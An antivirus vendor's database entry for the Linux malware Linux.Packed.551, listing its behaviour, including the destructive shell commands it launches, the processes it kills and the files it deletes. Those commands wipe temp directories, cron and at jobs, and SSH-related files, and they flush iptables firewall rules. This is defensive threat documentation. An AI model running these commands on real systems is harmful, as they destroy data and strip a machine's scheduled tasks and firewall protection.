Linux.Packed.551
Added to the Dr.Web virus database:
2019-08-11
Virus description added:
2019-08-11
Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Modifies firewall settings:
Launches processes:
- sh -c rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; >/dev/null 2>&1
- sh -c rm -rf /home/*/.ss*/.kn* ; rm -rf /root/.ss*/.kn* ; rm -rf /var/spool/cr*/* ; rm -rf /etc/cron.*/* ; rm -rf /var/spool/anacro*/*/* ; crontab -r ; iptables -F ; iptables-save ; >/dev/null 2>&1
- rm -rf /home/*/.ss*/.kn*
- rm -rf /root/.ss*/.kn*
- rm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs
- rm -rf /etc/cron.daily/apt /etc/cron.daily/aptitude /etc/cron.daily/bsdmainutils /etc/cron.daily/dpkg /etc/cron.daily/exim4-base /etc/cron.daily/logrotate /etc/cron.daily/man-db /etc/cron.daily/mlocate /etc/cron.daily/passwd /etc/cron.weekly/man-db
- rm -rf /var/spool/anacro*/*/*
- crontab -r
- iptables-save
- sh -c /root/msegrq
- /root/msegrq
Kills system processes:
Kills the following processes:
- run.sh
- bash
- /bin/sh
- Unknown process with PID: 4294967295
Performs operations with the file system:
Modifies file access rights:
- /usr/bin/wget
- /dev/urandom
- /usr/bin/perl
- /usr/bin/python3.4
- /usr/bin/python2.7
- /usr/bin/mawk
- /usr/bin/xargs
- /bin/sed
- /usr/bin/crontab
- /root/msegrq
- /bin/nc.traditional
- /etc/crontab
Creates or modifies files:
Deletes files:
- /home/*/.ss*/.kn*
- /root/.ss*/.kn*
- /root/.SEQ
- /etc/cron.daily/apt
- /etc/cron.daily/aptitude
- /etc/cron.daily/bsdmainutils
- /etc/cron.daily/dpkg
- /etc/cron.daily/exim4-base
- /etc/cron.daily/logrotate
- /etc/cron.daily/man-db
- /etc/cron.daily/mlocate
- /etc/cron.daily/passwd
- /etc/cron.weekly/man-db
- /var/spool/anacro*/*/*
- /usr/bin/perl
- /bin/netcat
- /etc/crontab
Curing recommendations
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